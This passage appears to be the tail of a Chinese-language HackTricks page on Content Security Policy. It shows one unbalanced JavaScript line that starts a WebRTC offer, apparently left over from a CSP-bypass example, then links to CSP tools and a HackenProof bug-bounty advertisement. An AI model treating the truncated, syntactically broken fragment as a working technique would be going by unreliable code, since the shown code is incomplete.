pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

在线检查CSP策略

自动创建CSP

https://csper.io/docs/generating-content-security-policy

参考资料

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后您将获得奖励。

在Web3渗透测试中积累经验
区块链协议和智能合约是新的互联网掌握Web3安全的崛起之日。

成为Web3黑客传奇
每次验证的漏洞都会获得声望积分,并占领每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行动中获利!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥